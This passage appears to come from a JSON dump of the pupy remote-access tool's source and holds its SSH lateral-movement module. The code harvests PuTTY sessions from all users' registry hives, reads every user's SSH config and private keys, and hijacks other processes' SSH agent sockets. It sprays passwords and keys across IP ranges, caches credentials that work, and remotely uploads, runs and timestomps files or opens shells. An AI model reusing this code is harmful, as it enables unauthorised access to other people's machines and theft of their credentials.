advapi32.ConvertStringSidToSidA\n    _ConvertStringSidToSid.argtypes = [LPSTR, PVOID]\n    _ConvertStringSidToSid.restype = BOOL\n\n    _LocalFree = kernel32.LocalFree\n    _LocalFree.argtypes = [PVOID]\n\n    # From LaZagne\n    def LookupAccountSidW(lpSid):\n        # From https://github.com/MarioVilas/winappdbg/blob/master/winappdbg/win32/advapi32.py\n\n        PSID = PVOID()\n        if not _ConvertStringSidToSid(lpSid, byref(PSID)):\n            return None, None, None\n\n        ERROR_INSUFFICIENT_BUFFER = 122\n        cchName = DWORD(0)\n        cchReferencedDomainName = DWORD(0)\n        peUse = DWORD(0)\n        success = _LookupAccountSidW(\n            None, PSID, None, byref(cchName),\n            None, byref(cchReferencedDomainName), byref(peUse))\n\n        error = GetLastError()\n        if not success or error == ERROR_INSUFFICIENT_BUFFER:\n            lpName = create_unicode_buffer(u'', cchName.value + 1)\n            lpReferencedDomainName = create_unicode_buffer(\n                u'', cchReferencedDomainName.value + 1)\n\n            success = _LookupAccountSidW(\n                None, PSID, lpName, byref(cchName),\n                lpReferencedDomainName, byref(cchReferencedDomainName),\n                byref(peUse)\n            )\n\n            if success:\n                return lpName.value, lpReferencedDomainName.value, peUse.value\n\n        _LocalFree(PSID)\n        return None, None, None\n\n    def bin_decode(value):\n        try:\n            if value.startswith('\\xEF\\xBB\\xBF'):\n                return value[3:].decode('utf-8')\n            elif value.startswith('\\xFE\\xFF'):\n                return value[2:].decode('utf-16be')\n            elif value.startswith('\\xFF\\xFE'):\n                return value[2:].decode('utf-16le')\n            elif value.startswith('\\x00\\x00\\xFE\\xFF'):\n                return value[4:].decode('utf-32be')\n            elif value.startswith('\\xFF\\xFE\\x00\\x00'):\n                return value[2:].decode('utf-32le')\n            else:\n                return value.decode(getfilesystemencoding())\n        except UnicodeDecodeError:\n            return 'bad:'+value\n\n    def extract_info(key):\n        try:\n            h = OpenKey(HKEY_USERS, key)\n        except WindowsError:\n            return {}\n\n        alias = key.split('\\\\')[-1]\n\n        info = {}\n\n        if '@' in alias:\n            user, alias = alias.split('@', 1)\n            info['user'] = user\n            if ':' in alias:\n                maybe_alias, maybe_port = alias.rsplit(':', 1)\n                try:\n                    maybe_port = int(maybe_port)\n                    if maybe_port > 0 and maybe_port < 65536:\n                        alias = maybe_alias\n                        info['port'] = maybe_port\n\n                except ValueError:\n                    pass\n\n            info['hostname'] = alias\n        elif alias == 'Default%20Settings':\n            alias = '*'\n\n        try:\n            idx = 0\n            while True:\n                try:\n                    name, value, _ = EnumValue(h, idx)\n                except WindowsError:\n                    break\n\n                if isinstance(value, basestring):\n                    new_value = unquote(value)\n                    if new_value != value:\n                        if not isinstance(new_value, bytes):\n                            try:\n                                new_value = new_value.encode('latin1')\n                                value = bin_decode(new_value)\n                            except UnicodeEncodeError:\n                                value = new_value\n\n                name = name.lower()\n                if name in PROPERTIES_MAPPING:\n                    if name == 'publickeyfile':\n                        info[PROPERTIES_MAPPING[name]] = [value]\n                    else:\n                        info[PROPERTIES_MAPPING[name]] = value\n\n                idx += 1\n\n        finally:\n            CloseKey(h)\n\n        if info and (alias == '*' or info.get('hostname')):\n            return {alias: info}\n\n        return {}\n\n    def ssh_putty_hosts():\n        results = {}\n\n        try:\n            h = OpenKey(HKEY_USERS, '')\n        except WindowsError:\n            return\n\n        idx = 0\n\n        try:\n            while True:\n                user = EnumKey(h, idx)\n\n                username, domain, _ = LookupAccountSidW(user)\n\n                if username is None:\n                    username = user\n                    if domain:\n                        user = domain + '\\\\' + user\n\n                for reg_path in REG_PATHS:\n                    try:\n                        sessions = user + reg_path\n                        h2 = OpenKey(HKEY_USERS, sessions)\n                    except WindowsError:\n                        continue\n\n                    try:\n                        idx2 = 0\n                        while True:\n                            session = EnumKey(h2, idx2)\n                            record = extract_info(sessions + '\\\\' + session)\n                            if record:\n                                if username not in results:\n                                    results[username] = {}\n\n                                results[username].update(record)\n\n                            idx2 += 1\n                    except WindowsError:\n                        pass\n\n                    finally:\n                        CloseKey(h2)\n\n                idx += 1\n\n        except WindowsError:\n            return results\n\n        finally:\n            CloseKey(h)\n\nexcept ImportError:\n    def ssh_putty_hosts():\n        return {}\n\n\ndef ssh_hosts():\n    paths = []\n    configs = {}\n\n    try:\n        import pwd\n        for pw in pwd.getpwall():\n            config_path = path.join(pw.pw_dir, '.ssh', 'config')\n            if path.isfile(config_path):\n                paths.append((\n                    as_unicode_string(pw.pw_name),\n                    as_unicode_string(config_path)\n                ))\n\n    except ImportError:\n        config_path = path.expanduser(path.join('~', '.ssh', 'config'))\n        if path.isfile(config_path):\n            import getpass\n            paths = [(\n                as_unicode_string(getpass.getuser()),\n                as_unicode_string(config_path)\n            )]\n\n    for user, config_path in paths:\n        ssh_config = SSHConfig()\n        try:\n            with open(config_path) as config:\n                ssh_config.parse(config)\n\n        except OSError:\n            continue\n\n        configs[user] = {\n            as_unicode_string(host): ssh_config.lookup(host)\n            for host in ssh_config.get_hostnames()\n        }\n\n    configs.update(ssh_putty_hosts())\n\n    return configs\n\n\nclass SSH(object):\n    __slots__ = (\n        'user', 'passwords', 'key_passwords', 'private_key',\n        'host', 'port', 'timeout',\n        '_client', '_iter_private_keys',\n        '_success_args', '_ssh_hosts',\n        '_interactive'\n    )\n\n    def __init__(self, host, port=22, user=None, passwords=None, key_passwords=None, private_keys=None,\n                 private_key_path=None, interactive=False, timeout=None):\n        self.host = host\n        self.port = port\n        self.user = user\n        self.timeout  = timeout\n        self.passwords = passwords\n        self.key_passwords = key_passwords\n\n        self._interactive = interactive\n\n        self._client = None\n        self._success_args = None\n\n        self._ssh_hosts = ssh_hosts()\n\n        for user, hosts in self._ssh_hosts.items():\n            for alias, config in hosts.items():\n                if self.host in (alias, config.get('hostname')):\n                    if self.user is not None and self.user != config.get('user', user):\n                        continue\n\n                    if 'hostname' in config:\n                        self.host = config['hostname']\n\n                    if 'port' in config:\n                        self.port = int(config['port'])\n\n                    self.user = config.get('user', user)\n\n                    if 'identityfile' in config and not private_keys:\n                        private_keys = []\n\n                        identityfiles = config['identityfile']\n                        if isinstance(identityfiles, basestring):\n                            identityfiles = [identityfiles]\n\n                        for identityfile in identityfiles:\n                            try:\n                                import pwd\n                                user_home = pwd.getpwnam(user).pw_dir\n                                identityfile = path.sep.join(\n                                    x if x != '~' else user_home for x in path.split(identityfile)\n                                )\n                            except (ImportError, KeyError):\n                                identityfile = path.expanduser(identityfile)\n\n                            if not path.isfile(identityfile):\n                                continue\n\n                            with open(identityfile) as identityfile_obj:\n                                private_keys.append((identityfile, identityfile_obj.read()))\n\n                    break\n\n        if private_keys:\n            private_keys = [\n                (None, key_data) if not type(key_data) == tuple else key_data\n                    for key_data in private_keys\n            ]\n            self._iter_private_keys = iter(private_keys)\n        else:\n            self._iter_private_keys = self._find_private_keys_everywhere()\n\n        if self.port is None:\n            self.port = 22\n\n        self._connect()\n        if self.connected and self._success_args:\n            add_cred(\n                self.user, schema='ssh', port=self.port,\n                hostname=self.host,\n                agent_socket=self._success_args.get('agent_socket'),\n                auto=self._success_args.get('auto'),\n                pkey=self._success_args.get('pkey'),\n                key_file=self._success_args.get('key_file'),\n                key_passsword=self._success_args.get('key_password'),\n            )\n\n    @property\n    def success_args(self):\n        return tuple([self._success_args.get(x, None) for x in (\n            'hostname', 'port', 'user', 'password', 'key_password', 'key',\n            'key_file', 'agent_socket', 'auto', 'cached'\n        )])\n\n    def _find_agent_sockets(self):\n        pairs = set()\n\n        if 'SSH_AUTH_SOCK' in environ and environ['SSH_AUTH_SOCK']:\n            pair = (getuser(), environ['SSH_AUTH_SOCK'])\n\n            pairs.add(pair)\n            yield pair\n\n        for process in process_iter():\n            try:\n                info = process.as_dict(['username', 'environ'])\n            except OSError:\n                continue\n\n            if 'environ' not in info or info['environ'] is None:\n                continue\n\n            if 'SSH_AUTH_SOCK' in info.get('environ'):\n                pair = (info.get('username'), info.get('environ').get('SSH_AUTH_SOCK'))\n                if pair in pairs:\n                    continue\n\n                pairs.add(pair)\n\n                yield pair\n\n    def _find_private_keys_everywhere(self):\n        try:\n            import pwd\n            for pw in pwd.getpwall():\n                for key_record in self._find_private_keys(path.join(pw.pw_dir, '.ssh')):\n                    yield key_record\n\n        except ImportError:\n            for key_record in self._find_private_keys(\n                path.expanduser(path.join('~', '.ssh'))):\n                yield key_record\n\n    def _find_private_keys(self, fpath):\n        if path.isfile(fpath):\n            try:\n                with open(fpath) as content:\n                    yield fpath, content.read()\n\n            except OSError:\n                pass\n\n            return\n\n        for root, dirs, files in walk(fpath):\n            for sfile in files:\n                try:\n                    sfile_path = path.join(root, sfile)\n                    with open(sfile_path) as content:\n                        first_line = content.readline(256)\n                        if 'PRIVATE KEY-----' in first_line:\n                            yield sfile_path, first_line + content.read()\n\n                except (OSError, IOError):\n                    pass\n\n    @property\n    def connected(self):\n        return self._client is not None\n\n    def _check_connected(self):\n        if self._client is None:\n            raise SSHNotConnected()\n\n    def _oneway_upstream(self, session, reader_cb, stdout_cb, stderr_cb, on_exit=None):\n        exit_status = None\n\n        while True:\n            while session.recv_ready():\n                data = session.recv(65535)\n                if data:\n                    stdout_cb(data)\n\n            while session.recv_stderr_ready():\n                data = session.recv_stderr(65535)\n                if data:\n                    stderr_cb(data)\n\n            if session.exit_status_ready():\n                break\n\n            portion, more = reader_cb()\n\n            if portion:\n                session.sendall(portion)\n\n            if not more:\n                session.shutdown_write()\n                break\n\n        while True:\n            r, e, eof = self._poll_read(session)\n\n            if r:\n                while session.recv_ready():\n                    data = session.recv(65535)\n                    if data:\n                        stdout_cb(data)\n\n            if e:\n                while session.recv_stderr_ready():\n                    data = session.recv_stderr(65535)\n                    if data:\n                        stderr_cb(data)\n\n            if eof:\n                break\n\n        while True:\n            data = session.recv(65535)\n            if data:\n                stdout_cb(data)\n            else:\n                break\n\n        while True:\n            data = session.recv_stderr(65535)\n            if data:\n                stderr_cb(data)\n            else:\n                break\n\n        exit_status = session.recv_exit_status()\n        if on_exit:\n            on_exit(exit_status)\n\n        return exit_status\n\n    def upload_file(self, reader_cb, remote_path, perm=0o755, rtouch=None,\n                     chown=None, run=False, delete=False, append=False, cat='cat', completed_cb=None):\n\n        self._check_connected()\n\n        transport = self._client.get_transport()\n\n        session = transport.open_session()\n\n        commands = []\n\n        if delete:\n            commands.append('rm -f {}'.format(repr(remote_path)))\n\n        commands.append(\n            \"{} {} {}\".format(cat, '>>' if append else '>', repr(remote_path))\n        )\n\n        if rtouch:\n            commands.append('touch -r {} {}'.format(repr(rtouch), repr(remote_path)))\n\n        if chown:\n            commands.append('chown {} {}'.format(repr(chown), repr(remote_path)))\n\n        if perm and isinstance(perm, basestring):\n            perm = int(perm, 8)\n\n        commands.append('chmod {} {}'.format(oct(perm), repr(remote_path)))\n\n        if run:\n            commands.append('{}'.format(repr(remote_path)))\n\n        if delete:\n            commands.append('rm -f {}'.format(repr(remote_path)))\n\n        command = ' && '.join(commands)\n\n        session.exec_command(command)\n\n        def _reader_cb():\n            data = reader_cb(transport.default_max_packet_size - 1024)\n            if data:\n                return data, True\n            else:\n                return '', False\n\n        stdout = BytesIO()\n        stderr = BytesIO()\n\n        exit_status = self._oneway_upstream(session, _reader_cb, stdout.write, stderr.write)\n\n        if completed_cb:\n            completed_cb(exit_status, stdout.getvalue(), stderr.getvalue())\n\n        return stdout, stderr, exit_status\n\n    def download_file(self, remote_path, write_cb, completed_cb=None, cat='cat'):\n        self._check_connected()\n\n        commands = [\n            '([ -x {} ] && echo -n 1 || echo -n 0)'.format(repr(remote_path)),\n            'cat {}'.format(repr(remote_path))\n        ]\n\n        command = ' && '.join(commands)\n\n        first_byte = []\n        size = [0]\n\n        def _on_stdout(data):\n            size[0] += len(data)\n\n            if not first_byte:\n                first_byte.append(data[0])\n                if len(data) > 1:\n                    write_cb(data[1:])\n            else:\n                write_cb(data)\n\n        _, stderr, exit_status = self.check_output(\n            command,\n            on_stdout=_on_stdout)\n\n        if completed_cb:\n            completed_cb(exit_status, stderr.getvalue())\n\n        return bool(first_byte[0]) if first_byte else None, stderr, exit_status\n\n    def download_tar(self, remote_path, write_cb, completed_cb, compression='z'):\n        self._check_connected()\n\n        commands = []\n\n        commands.append('cd /')\n        commands.append('tar zcf - {}'.format(remote_path))\n\n        command = ' && '.join(commands)\n\n        _, stderr, exit_status = self.check_output(\n            command, on_stdout=write_cb)\n\n        if completed_cb:\n            completed_cb(exit_status, stderr.getvalue())\n\n        return exit_status, stderr, exit_status\n\n\n    def _shell_reader(self, session, on_data, on_exit):\n        while True:\n            r, e, eof = self._poll_read(session)\n\n            if r:\n                while session.recv_ready():\n                    data = session.recv(65535)\n                    if data:\n                        on_data(data)\n\n            if e:\n                while session.recv_stderr_ready():\n                    data = session.recv_stderr(65535)\n                    if data:\n                        on_data(data)\n\n            if eof:\n                exit_status = session.recv_exit_status()\n                if on_exit:\n                    on_exit(exit_status)\n\n                break\n\n\n    def shell(self, term, w, h, wp, hp, shell=None, on_data=None, on_exit=None):\n        self._check_connected()\n\n        transport = self._client.get_transport()\n\n        session = transport.open_session()\n        session.get_pty(term, w, h, wp, hp)\n\n        if shell is None:\n            session.invoke_shell()\n        else:\n            session.exec_command(shell)\n\n        def attach():\n            reader = Thread(\n                name='SSH Interactive Reader',\n                target=self._shell_reader,\n                args=(session, on_data, on_exit))\n\n            reader.daemon = False\n            reader.start()\n\n        # shutdown both\n        def shutdown():\n            session.shutdown(2)\n\n        # compatible with pupy's order\n        def resize_pty(h, w, hp, wp):\n            session.resize_pty(w, h, wp, hp)\n\n        return attach, session.sendall, resize_pty, shutdown\n\n    def check_output(self, command, pty=False, env=None, on_stdout=None, on_stderr=None, on_exit=None):\n        self._check_connected()\n\n        transport = self._client.get_transport()\n\n        session = transport.open_session()\n        session.exec_command(command)\n        session.shutdown_write()\n\n        stdout = BytesIO() if on_stdout is None else None\n        if not on_stdout:\n            on_stdout = stdout.write\n\n        stderr = BytesIO() if on_stderr is None else on_stdout\n        if not on_stderr:\n            on_stderr = stderr.write\n\n        exit_status = None\n\n        while True:\n            r, e, eof = self._poll_read(session)\n\n            while r:\n                data = session.recv(65535)\n                if data:\n                    on_stdout(data)\n                r = session.recv_ready()\n\n            while e:\n                data = session.recv_stderr(65535)\n                if data:\n                    on_stderr(data)\n                e = session.recv_stderr_ready()\n\n            if eof:\n                break\n\n        # Read last bytes from buffer\n        # Looks like some kind of bug in paramiko..\n\n        while True:\n            data = session.recv(65535)\n            if data:\n                on_stdout(data)\n            else:\n                break\n\n        while True:\n            data = session.recv_stderr(65535)\n            if data:\n                on_stderr(data)\n            else:\n                break\n\n        exit_status = session.recv_exit_status()\n        if on_exit:\n            on_exit(exit_status)\n\n        return stdout, stderr, exit_status\n\n\n    def close(self):\n        if not self._client:\n            return\n\n        self._client.close()\n        self._client = None\n\n    def _poll_read(self, channel, stdout=True, stderr=True):\n        wait = Event()\n\n        if stdout:\n            channel.in_buffer.set_event(wait)\n\n        if stderr:\n            channel.in_stderr_buffer.set_event(wait)\n\n        while True:\n            recv = False\n            error = False\n            eof = False\n\n            if stdout and channel.recv_ready():\n                recv = True\n\n            if stderr and channel.recv_stderr_ready():\n                error = True\n\n            if channel.eof_received or channel.exit_status_ready():\n                eof = True\n\n            if recv or error or eof:\n                return recv, error, eof\n\n            wait.wait()\n\n        return None, None, None\n\n    def _convert(self, keydata, passwords):\n        if 'PuTTY-User-Key-File-2' in keydata:\n            for password in passwords:\n                password = '' if password is None else password\n\n                try:\n                    converted = ppkraw_to_openssh(keydata, password)\n                    if not converted:\n                        return keydata\n\n                    return converted\n                except ValueError:\n                    pass\n\n        return keydata\n\n    def _connect(self):\n        client = SSHClient()\n\n        client.set_missing_host_key_policy(AutoAddPolicy())\n        client.load_system_host_keys()\n\n        # 0. If host in SUCCESS_CACHE try this first\n        for cred in find_creds(username=self.user, schema='ssh', port=self.port, address=self.host):\n            if cred.password:\n                try:\n                    client.connect(\n                        password=cred.password,\n                        hostname=self.host,\n                        port=self.port,\n                        username=cred.user,\n                        allow_agent=False,\n                        look_for_keys=False,\n                        gss_auth=False,\n                        compress=not self._interactive,\n                        timeout=self.timeout\n                    )\n\n                    self._client = client\n                    self._success_args = cred.as_dict()\n                    self._success_args.update({\n                        'hostname': self.host,\n                        'port': self.port,\n                    })\n                    return True\n\n                except SSHException:\n                    client.close()\n\n            elif cred.agent_socket:\n                SSH_AUTH_SOCK_bak = environ.get('SSH_AUTH_SOCK', None)\n                environ['SSH_AUTH_SOCK'] = cred.agent_socket\n\n                try:\n                    client.connect(\n                        hostname=self.host,\n                        port=self.port,\n                        username=cred.user,\n                        allow_agent=True,\n                        look_for_keys=False,\n                        password=None,\n                        compress=not self._interactive,\n                        timeout=self.timeout\n                    )\n\n                    self._client = client\n                    self._success_args = cred.as_dict()\n                    self._success_args.update({\n                        'hostname': self.host,\n                        'port': self.port\n                    })\n                    return True\n\n                except SSHException:\n                    client.close()\n\n                finally:\n                    if SSH_AUTH_SOCK_bak is None:\n                        del environ['SSH_AUTH_SOCK']\n                    else:\n                        environ['SSH_AUTH_SOCK'] = SSH_AUTH_SOCK_bak\n\n            elif cred.pkey:\n                try:\n                    client.connect(\n                        hostname=self.host,\n                        port=self.port,\n                        username=cred.user,\n                        pkey=cred.pkey,\n                        allow_agent=False,\n                        look_for_keys=False,\n                        gss_auth=False,\n                        compress=not self._interactive,\n                        timeout=self.timeout\n                    )\n\n                    self._client = client\n                    self._success_args = cred.as_dict()\n                    self._success_args.update({\n                        'hostname': self.host,\n                        'port': self.port\n                    })\n                    return True\n\n                except SSHException:\n                    client.close()\n\n        current_user = getuser()\n\n        # 1. If password try password\n        if self.passwords:\n            for password in self.passwords:\n                username = self.user or current_user\n\n                try:\n                    client.connect(\n                        password=password,\n                        hostname=self.host,\n                        port=self.port,\n                        username=username,\n                        allow_agent=False,\n                        look_for_keys=False,\n                        gss_auth=False,\n                        compress=not self._interactive,\n                        timeout=self.timeout\n                    )\n\n                    self._client = client\n                    self._success_args = {\n                        'hostname': self.host,\n                        'port': self.port,\n                        'user': username,\n                        'password': password,\n                        'auto': True,\n                        'cached': False,\n                    }\n                    return True\n\n                except SSHException:\n                    client.close()\n\n        # 2. Try agent, default methods etc\n        for username, SSH_AUTH_SOCK in self._find_agent_sockets():\n\n            SSH_AUTH_SOCK_bak = environ.get('SSH_AUTH_SOCK', None)\n            environ['SSH_AUTH_SOCK'] = SSH_AUTH_SOCK\n\n            username = self.user or username\n\n            try:\n                client.connect(\n                    hostname=self.host,\n                    port=self.port,\n                    username=username,\n                    allow_agent=True,\n                    look_for_keys=False,\n                    gss_auth=GSSAPI_MIC_SUPPORT,\n                    password=None,\n                    compress=not self._interactive,\n                    timeout=self.timeout\n                )\n\n                self._client = client\n                self._success_args = {\n                    'hostname': self.host,\n                    'port': self.port,\n                    'user': username,\n                    'agent_socket': SSH_AUTH_SOCK,\n                    'auto': False,\n                    'cached': False\n                }\n                return True\n\n            except SSHException:\n                client.close()\n\n            finally:\n                if SSH_AUTH_SOCK_bak is None:\n                    del environ['SSH_AUTH_SOCK']\n                else:\n                    environ['SSH_AUTH_SOCK'] = SSH_AUTH_SOCK_bak\n\n        # 3. Try all found pkeys\n        for key_file, key_data in self._iter_private_keys:\n            username = self.user or current_user\n\n            key_passwords = list(self.key_passwords)\n            key_passwords.insert(0, None)\n            found_key_password = None\n\n            key_data = self._convert(key_data, key_passwords)\n\n            pkey_obj = BytesIO(str(key_data))\n            pkey = None\n\n            for klass in KEY_CLASSES:\n                for key_password in key_passwords:\n                    try:\n                        pkey_obj.seek(0)\n                        pkey = klass.from_private_key(\n                            pkey_obj, password=key_password)\n                        found_key_password = key_password\n                        break\n                    except SSHException:\n                        continue\n\n            if pkey is None:\n                continue\n\n            try:\n                client.connect(\n                    hostname=self.host,\n                    port=self.port,\n                    username=username,\n                    pkey=pkey,\n                    allow_agent=False,\n                    look_for_keys=False,\n                    gss_auth=False,\n                    compress=not self._interactive,\n                    timeout=self.timeout\n                )\n\n                self._client = client\n                self._success_args = {\n                    'hostname': self.host,\n                    'port': self.port,\n                    'user': username,\n                    'key': key_data,\n                    'key_file': key_file,\n                    'key_password': found_key_password,\n                    'pkey': pkey,\n                    'auto': False,\n                    'cached': False\n                }\n                return True\n\n            except SSHException:\n                client.close()\n\n        if not self._client and client:\n            client.close()\n\ndef ssh_interactive(term, w, h, wp, hp, host, port, user, passwords,\n                    private_keys, program, data_cb, close_cb, timeout):\n    private_keys = obtain(private_keys)\n    passwords = obtain(passwords)\n    data_cb = nowait(data_cb)\n    close_cb = nowait(close_cb)\n\n    ssh_passwords, key_passwords = passwords\n\n    try:\n        ssh = SSH(host, port, user, ssh_passwords, key_passwords, private_keys, interactive=True, timeout=timeout)\n        if not ssh.connected:\n            raise ValueError('No valid credentials found to connect to {}:{} user={}'.format(\n                ssh.host, ssh.port, ssh.user or 'any'))\n\n    except gaierror as e:\n        raise ValueError('Unable to connect to {}:{} - {}'.format(host, port, e.strerror))\n\n    except NoValidConnectionsError:\n        raise ValueError('Unable to connect to {}:{}'.format(host, port))\n\n    attach, writer, resizer, closer = ssh.shell(\n        term, w, h, wp, hp, program, data_cb, close_cb\n    )\n\n    def ssh_close():\n        closer()\n        ssh.close()\n\n    return attach, writer, resizer, ssh_close\n\ndef iter_hosts(hosts, default_passwords=None, default_port=None, default_user=None):\n    if isinstance(hosts, basestring):\n        hosts = [hosts]\n\n    ssh_passwords, key_passwords = None, None\n    if default_passwords:\n        ssh_passwords, key_passwords = default_passwords\n\n\n    for host in hosts:\n\n        if '://' not in host:\n            host = 'ssh://' + host\n\n        uri = urlparse(host)\n        host = uri.hostname\n        port = uri.port or default_port\n        user = uri.username or default_user\n        passwords = tuple([uri.password]) if uri.password else ssh_passwords\n\n        if uri.path and uri.path[0] == '/' and len(uri.path) > 1 and len(uri.path) < 4:\n            try:\n                bits = int(uri.path[1:])\n                if bits >= 16 and bits <= 32:\n                    host += uri.path\n            except ValueError:\n                pass\n\n        try:\n            net = IPNetwork(host)\n        except AddrFormatError:\n            yield host, port, user, passwords, key_passwords\n        else:\n            for ip in net:\n                yield str(ip), port, user, passwords, key_passwords\n\n# data_cb - tuple\n# 1 - Type: 0 - Connection, Data, Exit\n# If connection:\n# 2 - Connected\n# 3,4,5,6 - host, port, user, password\n\ndef _ssh_cmd(ssh_cmd, thread_name, arg, hosts, port, user, passwords, private_keys, data_cb, close_cb, timeout):\n    hosts = obtain(hosts)\n    private_keys = obtain(private_keys)\n\n    default_passwords = obtain(passwords)\n    default_user = user\n    default_port = port\n\n    data_cb = nowait(data_cb)\n    close_cb = nowait(close_cb)\n\n    current_connection = [None]\n    closed = Event()\n\n    def ssh_exec_thread():\n        for host, port, user, passwords, key_passwords in iter_hosts(\n            hosts, default_passwords, default_port, default_user):\n\n            if closed.is_set():\n                break\n\n            ssh = None\n\n            try:\n                ssh = SSH(host, port, user, passwords, key_passwords, private_keys, timeout=timeout)\n                if not ssh.connected:\n                    data_cb((0, True, ssh.host, ssh.port, ssh.user))\n                    continue\n\n\n                current_connection[0] = ssh\n\n            except (socket_error, NoValidConnectionsError):\n                if ssh:\n                    data_cb((0, False, ssh.host, ssh.port, ssh.user))\n                else:\n                    data_cb((0, False, host, port, user))\n\n                continue\n\n            except Exception as e:\n                data_cb((3, 'Exception: {}: {}\\n{}'.format(\n                    type(e), str(e), format_exc(limit=20))))\n                continue\n\n            conninfo = [4]\n            conninfo.extend(ssh.success_args)\n\n            data_cb(tuple(conninfo))\n\n            def remote_data(data):\n                data_cb((1, data))\n\n            if closed.is_set():\n                break\n\n            try:\n                if ssh_cmd == SSH.check_output:\n\n                    def remote_exit(status):\n                        data_cb((2, status))\n\n                    ssh_cmd(\n                        ssh, arg,\n                        on_stdout=remote_data, on_stderr=remote_data,\n                        on_exit=remote_exit\n                    )\n                else:\n                    if ssh_cmd == SSH.upload_file:\n                        def remote_exit(status, stdout, stderr):\n                            if stdout:\n                                data_cb((1, stdout))\n\n                            if stderr:\n                                data_cb((3, stderr))\n\n                            data_cb((2, status))\n\n                        src, dst, touch, perm, chown, run, delete = arg\n                        ssh_cmd(ssh, *arg, completed_cb=remote_exit)\n\n                    elif ssh_cmd in (SSH.download_file, SSH.download_tar):\n                        def remote_exit(status, stderr):\n                            if stderr:\n                                data_cb((3, stderr))\n\n                            data_cb((2, status))\n\n                        ssh_cmd(\n                            ssh, arg, remote_data,\n                            completed_cb=remote_exit\n                        )\n            finally:\n                ssh.close()\n\n    def ssh_exec_thread_wrap():\n        try:\n            ssh_exec_thread()\n        finally:\n            try:\n                closed.set()\n            except:\n                pass\n\n            try:\n                close_cb()\n            except:\n                pass\n\n    thread = Thread(\n        name=thread_name,\n        target=ssh_exec_thread_wrap\n    )\n    thread.daemon = True\n    thread.start()\n\n    return closed.set\n\ndef ssh_exec(command, hosts, port, user, passwords, private_keys, data_cb, close_cb, timeout):\n    hosts = obtain(hosts)\n    private_keys = obtain(private_keys)\n    passwords = obtain(passwords)\n\n    return _ssh_cmd(\n        SSH.check_output,\n        'SSH (Exec) Non-Interactive Reader',\n        command,\n        hosts, port, user, passwords, private_keys,\n        data_cb, close_cb, timeout\n    )\n\ndef ssh_upload_file(src, dst, perm, touch, chown, run, delete, hosts,\n                    port, user, passwords, private_keys, data_cb, close_cb, timeout):\n    hosts = obtain(hosts)\n    private_keys = obtain(private_keys)\n    passwords = obtain(passwords)\n    dst = path.expanduser(dst)\n\n    return _ssh_cmd(\n        SSH.upload_file,\n        'SSH (Upload) Non-Interactive Reader',\n        [src, dst, perm, touch, chown, run, delete],\n        hosts, port, user, passwords, private_keys,\n        data_cb, close_cb, timeout\n    )\n\ndef ssh_download_file(src, hosts, port, user, passwords, private_keys, data_cb, close_cb, timeout):\n    hosts = obtain(hosts)\n    private_keys = obtain(private_keys)\n    passwords = obtain(passwords)\n    src = path.expanduser(src)\n\n    return _ssh_cmd(\n        SSH.download_file,\n        'SSH (Download/Single) Non-Interactive Reader',\n        src,\n        hosts, port, user, passwords, private_keys,\n        data_cb, close_cb, timeout\n    )\n\ndef ssh_download_tar(src, hosts, port, user, passwords, private_keys, data_cb, close_cb, timeout):\n    hosts = obtain(hosts)\n    private_keys = obtain(private_keys)\n    passwords = obtain(passwords)\n    src = path.expanduser(src)\n\n    return _ssh_cmd(\n        SSH.download_tar,\n        'SSH (Download/Tar) Non-Interactive Reader',\n        src,\n        hosts, port, user, passwords, private_keys,\n        data_cb, close_cb, timeout\n    )\n\n\ndef ssh_keyscan(hosts, port, key_type, data_cb, close_cb, timeout):\n    data_cb = nowait(data_cb)\n\n    default_port = '22'\n    if port:\n        default_port += ',' + str(port)\n\n    def _on_open_port(args):\n        host, port, socket = args\n        try:\n            ssh_conn = Transport(socket)\n\n            if key_type is not None:\n                new_preferred_keys = [key_type]\n                new_preferred_keys.extend(ssh_conn._preferred_keys)\n                ssh_conn._preferred_keys = tuple(new_preferred_keys)\n\n            try:\n                ssh_conn.start_client()\n\n                key = ssh_conn.get_remote_server_key()\n                key_md5 = md5(str(key)).hexdigest()\n                fingerprint = ':'.join(\n                    a+b for a, b in zip(key_md5[::2], key_md5[1::2]))\n\n                data_cb(\n                    host, port, True, (\n                        key.get_name(), fingerprint, b64encode(str(key))))\n\n            finally:\n                ssh_conn.close()\n\n        except (socket_error, NoValidConnectionsError):\n            data_cb(host, port, None, None)\n\n        except Exception as e:\n            data_cb(host, port, False, 'Exception: {}: {}'.format(\n                type(e), str(e)))\n\n        finally:\n            socket.close()\n\n    closer = scanthread_parse(\n        hosts, default_port, close_cb,\n        on_open_port=_on_open_port, pass_socket=True\n    )\n\n    return closer.set\n\n\nif __name__ == '__main__':\n    def try_int(x):\n        try:\n            return int(x)\n        except:\n            return x\n\n    import sys\n    import logging\n\n    root_logger = logging.getLogger()\n    logging_stream = logging.StreamHandler()\n    logging_stream.setFormatter(logging.Formatter('%(asctime)-15s| %(message)s'))\n    logging_stream.setLevel('DEBUG')\n    root_logger.handlers = []\n    root_logger.addHandler(logging_stream)\n    root_logger.setLevel('DEBUG')\n\n    s = SSH(*[try_int(x) for x in sys.argv[1:]])\n    stdout, stderr, status = s.check_output('sleep 1 && id && sleep 1 && whoami')\n\n    print(status)\n    print(stdout.getvalue())\n    print(stderr.getvalue())\n\n    print(\"Upload\")\n    test = BytesIO('Hello, world!\\n')\n    stdout, stderr, status = s.upload_file(test.read, '/tmp/test123', rtouch='/bin/bash', append=True)\n\n    print(status)\n    print(stdout.getvalue())\n    print(stderr.getvalue())\n\n    print(\"Download\")\n    test = BytesIO()\n    executable, stderr, status = s.download_file('/tmp/test123', test.write)\n    print(status)\n    print(executable)\n    print(test.getvalue())\n    print(stderr.getvalue())\n"
  },
  {
    "path": "pupy/packages/all/tasks.py",
    "content": "# -*- coding: utf-8 -*-\n\n# Wrapper around tasks module\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport pupy.agent\n\ndef list():\n    return pupy.agent.manager.status()\n"
  },
  {
    "path": "pupy/packages/all/tcpdump.py",
